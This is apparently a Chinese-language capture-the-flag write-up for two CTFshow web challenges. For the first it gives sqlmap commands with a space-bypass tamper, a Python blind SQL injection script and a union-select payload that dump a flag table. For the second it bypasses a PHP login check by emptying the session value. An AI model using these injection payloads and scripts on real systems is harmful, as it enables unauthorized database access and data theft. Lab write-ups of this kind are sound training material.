文章目录



WEB07

CTFSHOW-web(7/11)_web

进入目录CTFSHOW-web(7/11)_数据库_02

可以发觉到本题考察的是sql盲注

尝试注入CTFSHOW-web(7/11)_php_03

CTFSHOW-web(7/11)_php_04

经过测试,可以发现本题过滤了空格,在这里可以使用​​/**/​​进行代替CTFSHOW-web(7/11)_php_05

又是空格绕过,之前刚做过的在CTFHUB上空格绕过题,具体详细就不再细说

直接操作吧

爆数据库

python sqlmap.py -u "http://f66c0d56-a8ad-4963-b3e3-31e645aed75c.challenge.ctf.show:8080/index.php?id=1" --dbs --tamper "space2comment.py"

CTFSHOW-web(7/11)_python_06

可以看到这里又六个库名,我们进入web7看看

爆表

python sqlmap.py -u "http://f66c0d56-a8ad-4963-b3e3-31e645aed75c.challenge.ctf.show:8080/index.php?id=1" -D "web7" --tables --tamper "space2comment.py"

CTFSHOW-web(7/11)_数据库_07

找到flag了!!!

爆数据库字段

python sqlmap.py -u "http://f66c0d56-a8ad-4963-b3e3-31e645aed75c.challenge.ctf.show:8080/index.php?id=1" -D "web7" -T "flag" --dump --tamper "space2comment.py"

CTFSHOW-web(7/11)_php_08

就是这么简单????????????????????????????

ctfshow{62701446-623d-4d24-8558-285fdd7289ad}

当然我去学习大佬们的文章,发现大佬们也有使用脚本的,让我们看看

import  requests
url = "https://7785f4a8-dd2f-4a53-acb5-61d19f2c5c57.chall.ctf.show/index.php?id=-1'/**/"


def db(url): # 爆库名
for i in range(1, 5):
for j in range(32, 128):
u = "or/**/ascii(substr(database()/**/from/**/" + str(i) + "/**/for/**/1))=" + str(j) + "#"
s = url + u
print(s)
r = requests.get(s)
if 'By Rudyard Kipling' in r.text:
print(chr(j))


def table(url): # 爆表名
for i in range(4):
table_name = ''
for j in range(1, 6):
for k in range(48, 128):
u = id = "||/**/ascii(substr((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/1/**/offset/**/" + str(
i) + ")/**/from/**/" + str(j) + "/**/for/**/1))=" + str(k) + "#"
s = url + u
print(s)
r = requests.get(s)
if 'By Rudyard Kipling' in r.text:
table_name += chr(k)
print(table_name)


db(url);
table(url);

CTFSHOW-web(7/11)_web_09

CTFSHOW-web(7/11)_数据库_10

CTFSHOW-web(7/11)_web_11

一共有三个表,尝试猜测为flag下的flag字段

数据库结构进行搜索

/index.php?id=-1/**/union/**/select/**/1,flag,3/**/from/**/flag#

CTFSHOW-web(7/11)_web_12

WEB11

CTFSHOW-web(7/11)_python_13

哇,代码审计无疑了!!

<?php
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
if($password==$_SESSION['password']){
echo $flag;
}else{
echo "error";
}
?>

对源码分析,可以看到需要让输入框的内容等于 ​​$_SESSION​​ 的值就好了

 if($password==$_SESSION['password']){
echo $flag;

那么session是什么嘞,百度百科一下吧

CTFSHOW-web(7/11)_sql_14

但是session我们不知道是什么那,没关系我们只需要使SESSION的值为空就好了,在火狐浏览器中,F12进入开发者模式,session一般是保存在存储中的找到后清空

在这里我们先使用bp进行抓包看看CTFSHOW-web(7/11)_数据库_15

可以看到这里的密码是1234567,至于session是CTFSHOW-web(7/11)_sql_16

因此我们只需要将​​PHPsession​​与​​password​​的值都清空就可以了CTFSHOW-web(7/11)_数据库_17

让我们在火狐中F12进入存储直接修改session试试CTFSHOW-web(7/11)_web_18

清空后将密码内容删除直接登录CTFSHOW-web(7/11)_sql_19

CTFSHOW-web(7/11)_sql_20

也是可以的啊????????????????????